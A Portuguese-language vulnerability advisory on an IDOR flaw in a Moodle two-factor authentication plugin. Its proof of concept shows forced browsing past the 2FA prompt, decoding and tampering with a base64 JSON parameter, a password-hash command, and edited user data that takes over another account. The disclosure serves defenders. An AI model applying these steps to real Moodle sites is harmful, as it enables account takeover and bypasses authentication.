
Vulnerabilidade de referência direta não segura a objetos (IDOR) no "Simple 2FA Plugin for Moodle" por LMS Doctor
Uma vulnerabilidade de Referência Direta Insegura a Objetos (IDOR) no "Simple 2FA Plugin for Moodle" da LMS Doctor
Detalhes da Vulnerabilidade
Risco : Crítico
Fornecedor: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Divulgado por: Flaviu Popescu
Descrição: Vulnerabilidade de Referência Direta Insegura a Objetos (IDOR) no Simple 2FA Plugin for Moodle da "LMS Doctor". Permite que atacantes remotos atualizem registros confidenciais, como e-mail, senha e número de telefone de outras contas de usuário.
Prova de conceito:
Processo de login inicial usando uma conta autocadastrada (dionach.tester):
POST /login/index.php

Quando a solicitação de 2FA é exibida, o atacante força a navegação para a seguinte URL em vez de fornecer o código 2FA.
POST /auth/simple2fa/profile.php

Esta requisição é capturada no Burp Suite:

O parâmetro "u" contém uma string codificada em base64. A string é decodificada, revelando dados em formato JSON, conforme mostrado abaixo:

O atacante adultera os dados JSON, modificando o id, o e-mail, a senha e o nome. Os dados JSON são codificados novamente em base64, atualizados no Burp Suite e encaminhados ao servidor.
Nova geração de hash para a senha:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Trecho dos dados adulterados:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
Resultando na atualização da conta da vítima, id 8045 (dionach.tester2), conforme mostrado abaixo:
